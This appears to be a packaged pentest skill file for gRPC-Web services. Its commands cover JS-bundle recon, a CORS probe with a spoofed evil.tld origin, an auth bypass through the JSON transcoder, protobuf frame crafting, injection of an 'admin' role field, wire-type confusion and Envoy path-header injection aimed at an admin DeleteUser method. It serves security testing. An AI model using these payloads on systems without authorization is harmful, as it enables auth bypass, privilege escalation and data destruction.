grpc-web-pentest · git:20260518.7b5f854 · 2026-05-18 · sha256 ce50cb61d0c557aa
grpc-web-pentest git:20260518.7b5f854A
Immutable. This exact content is served forever at /api/v1/blob/ce50cb61d0c557aa.
---
name: grpc-web-pentest
description: Pentest gRPC-Web services via CORS abuse, JSON transcoder bypass, and payload manipulation. Use when target serves application/grpc-web content type, has Envoy/APISIX proxy, or JS bundles contain protobuf service definitions.
---
# gRPC-Web Pentesting
gRPC-Web wraps protobuf in HTTP/1.1 for browser clients. The translation layer (Envoy, APISIX, grpcwebproxy) introduces attack surface absent in native gRPC.
## Detection
- Content-Type: `application/grpc-web` or `application/grpc-web-text`
- `x-grpc-web: 1` header in requests
- JS bundles importing `grpc-web` or containing `.proto` service paths
- Envoy proxy headers (`x-envoy-upstream-service-time`)
## Recon: Extract Services from JS
JS bundles embed service paths and message schemas:
```bash
# grep for service method paths (pkg.Service/Method format)
grep -oP '[a-zA-Z0-9_.]+/[A-Z][a-zA-Z]+' main.*.js | sort -u
# Find proto message field definitions
grep -oP 'proto\.[a-zA-Z]+\.[a-zA-Z]+' main.*.js | sort -u
```
Also check for `buf` reflection:
```bash
buf curl --protocol grpcweb https://target.tld --list-methods
```
## CORS on gRPC-Web
gRPC-Web requires CORS for browser calls. Test the proxy's CORS config:
```bash
curl -I -X OPTIONS https://target.tld/pkg.Service/Method \
-H 'Origin: https://evil.tld' \
-H 'Access-Control-Request-Method: POST' \
-H 'Access-Control-Request-Headers: content-type,x-grpc-web,authorization'
```
Vulnerable if: `Access-Control-Allow-Origin: https://evil.tld` + `Access-Control-Allow-Credentials: true`. This enables cross-origin authenticated gRPC calls from attacker page.
## JSON Transcoder Bypass
Many gRPC-Web proxies also accept `application/json` via gRPC-JSON transcoding. This transcoder path often has **different auth enforcement**:
```bash
# Try JSON instead of protobuf — may bypass gRPC interceptors/auth middleware
curl -X POST https://target.tld/pkg.Service/Method \
-H 'Content-Type: application/json' \
-d '{"field":"value"}'
```
If the JSON transcoder responds when protobuf requires auth → auth bypass.
## Making Requests
**With buf (easiest):**
```bash
buf curl --protocol grpcweb \
-H 'Authorization: Bearer TOKEN' \
-d '{"user_id":"1337"}' \
https://target.tld/pkg.Service/GetUser
```
**Raw binary (without buf):**
gRPC-Web frame format: 1 byte flags + 4 bytes length (big-endian) + protobuf payload.
```bash
# Use protoscope to craft protobuf, then frame it
echo '1: {"admin"}' | protoscope -s | python3 -c "
import sys; p=sys.stdin.buffer.read(); sys.stdout.buffer.write(b'\x00'+len(p).to_bytes(4,'big')+p)
" > body.bin
curl -X POST https://target.tld/pkg.Service/Method \
-H 'Content-Type: application/grpc-web' \
-H 'x-grpc-web: 1' \
--data-binary @body.bin
```
## Payload Manipulation
**Field injection** — add fields the client never sends:
```bash
# Client sends field 1 (name). Add field 99 (role) that backend reads but client omits.
echo '1: {"user"} 99: {"admin"}' | protoscope -s
```
**Type confusion** — swap field wire types:
```bash
# Field 2 is normally varint (int). Send as length-delimited (string).
echo '2: {"not_a_number"}' | protoscope -s
```
**Proxy header injection (Envoy):**
```bash
curl -X POST https://target.tld/pkg.Service/Method \
-H 'x-envoy-original-path: /admin.AdminService/DeleteUser' \
-H 'Content-Type: application/grpc-web' \
--data-binary @body.bin
```
## Chain With
- parser-differential-bypass (JSON transcoder vs protobuf validation differences)
- auth-matrix-testing (test each gRPC method across roles)
- type-confusion-testing (protobuf type coercion)
- protoscope for wire-level payload crafting
## Reference
- https://grpc.io/docs/platforms/web/ (gRPC-Web protocol spec)